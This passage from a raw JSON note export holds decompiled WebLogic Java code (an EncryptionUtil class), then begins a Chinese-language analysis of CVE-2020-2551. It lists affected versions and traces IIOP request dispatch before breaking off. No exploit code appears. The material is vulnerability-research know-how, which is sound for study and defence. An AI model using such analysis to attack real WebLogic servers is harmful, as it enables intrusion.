IN_USE,&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wzRT-1682254540488&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;POwy-1682254540487&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        OBSOLETE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AaSj-1682254540490&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W2se-1682254540489&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N2HA-1682254540492&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;StGq-1682254540491&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        private State() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s8jV-1682254540494&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sTal-1682254540493&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v46i-1682254540496&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oKYz-1682254540495&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x09t-1682254540498&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kZ74-1682254540497&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lQqj-1682254540500&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IaPN-1682254540499&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MohP-1682254540502&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oTb4-1682254540501&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QEdt-1682254540504&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gtrp-1682254540503&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//EncryptionUtil&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jwfK-1682254540506&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pCN6-1682254540505&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XINM-1682254540508&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GpWI-1682254540507&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.wsee.jaxws.persistence;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cOMB-1682254540510&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YHlM-1682254540509&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZOhH-1682254540512&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2igj-1682254540511&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.security.AccessController;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jg4c-1682254540514&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pLzz-1682254540513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.kernel.Kernel;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;heTx-1682254540516&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xk2v-1682254540515&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.acl.internal.AuthenticatedSubject;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K1GV-1682254540518&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9sue-1682254540517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.internal.SerializedSystemIni;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sp4L-1682254540520&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UC0B-1682254540519&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.internal.encryption.EncryptionService;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fIIL-1682254540522&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oDGE-1682254540521&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.service.PrivilegedActions;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RfEJ-1682254540524&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VWzk-1682254540523&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.service.SecurityServiceManager;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BSbL-1682254540526&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OE97-1682254540525&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gwae-1682254540528&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FDaB-1682254540527&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public final class EncryptionUtil {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ET83-1682254540530&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lTad-1682254540529&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final AuthenticatedSubject kernelID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilegedActions.getKernelIdentityAction());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;juKU-1682254540532&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y6yg-1682254540531&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static EncryptionService es = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9aXV-1682254540534&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5ZDF-1682254540533&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MuuK-1682254540536&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j9ks-1682254540535&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public EncryptionUtil() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ESRU-1682254540538&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rjXH-1682254540537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5RuY-1682254540540&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OqRo-1682254540539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XO3k-1682254540542&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n75n-1682254540541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static byte[] encrypt(byte[] var0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0XvL-1682254540544&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6l0s-1682254540543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zxzr-1682254540546&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yw76-1682254540545&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yj3q-1682254540548&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OvZN-1682254540547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EiLw-1682254540551&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i5EX-1682254540550&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static byte[] decrypt(byte[] var0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qJYL-1682254540553&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;reMz-1682254540552&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (Kernel.isServer()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wMHT-1682254540555&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bL4K-1682254540554&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            SecurityServiceManager.checkKernelIdentity(kernelID);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Tdk-1682254540557&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qbB5-1682254540556&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return getEncryptionService().decryptBytes(var0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jghM-1682254540559&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w68i-1682254540558&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FCtI-1682254540561&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;grZq-1682254540560&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZrNL-1682254540563&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u9Mj-1682254540562&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hs2Y-1682254540565&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fRIz-1682254540564&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZWtz-1682254540567&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AGoz-1682254540566&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HeV5-1682254540569&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0abb-1682254540568&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static final EncryptionService getEncryptionService() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FgCc-1682254540571&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e0JD-1682254540570&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (es == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6doV-1682254540573&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mvGn-1682254540572&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            es = SerializedSystemIni.getExistingEncryptionService();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T8LZ-1682254540575&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uTev-1682254540574&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tyhi-1682254540577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sDdf-1682254540576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o8cj-1682254540579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V989-1682254540578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return es;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qfS8-1682254540581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S2eZ-1682254540580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iLOX-1682254540583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NexC-1682254540582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zNoN-1682254540585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nu4d-1682254540584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fQtR-1682254540588&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Jh3-1682254540587&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IDYU-1682256061621&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xrSt-1682256061620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-2551&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LyWf-1682256048676&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kG3z-1682256048675&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n2Q1-1682256048678&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;wW8B-1682256049070&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lC0H-1682256048677&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 10.3.6.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c30o-1682256048680&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;wW8B-1682256049070&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AyEl-1682256048679&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pd4J-1682256048682&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;wW8B-1682256049070&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m3XV-1682256048681&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i9tY-1682256048684&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;wW8B-1682256049070&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k7p8-1682256048683&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s7Ij-1682256049078&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MBMf-1682256048691&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fbHv-1682256048694&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CQg1-1682256048693&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;先看Weblogic对IIOP协议的处理逻辑。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9jH1-1682256048696&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oL49-1682256048695&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic有一个dispatch方法，专门用于处理不同协议请求：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l4HQ-1682256048698&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iitO-1682256048697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由MuxableSocketDiscriminator负责具体分发至相应的MuxableSocket类（这里是MuxableSocketIIOP，后续所使用的类都是在weblogic.iiop下的具体实现）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T9u5-1682256049081&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6677/WEBRESOURCEc0a501023eb6d61c5f56ffe898d67b87&#34;,&#34;width&#34;:2846,&#34;height&#34;:1796},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6677/WEBRESOURCEc0a501023eb6d61c5f56ffe898d67b87&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2846,&#34;height&#34;:1796},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8eUt-1682256049082&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6678/WEBRESOURCE8129985dc5a3af189c4e0d0e96f02e6f&#34;,&#34;width&#34;:2838,&#34;height&#34;:1796},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6678/WEBRESOURCE8129985dc5a3af189c4e0d0e96f02e6f&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2838,&#34;height&#34;:1796},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;67vd-1682256048702&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nIOO-1682256048701&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;再交由对应的ConnectionManager处理：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IcsW-1682256049083&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6694/WEBRESOURCE358f2d8b955e8d28c7ce4ed884b4d6c2&#34;,&#34;width&#34;:2836,&#34;height&#34;:1800},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVBD-1682256048705&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;moH0-1682256048704&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过调用ConnectionManager.dispatch，进入到EndPointlmpl中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bgal-1682256049084&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6695/WEBRESOURCE52239cd907ad053e1359b17ee7f96c98&#34;,&#34;width&#34;:2844,&#34;height&#34;:1800},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Un3-1682256048708&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NsAp-1682256048707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由p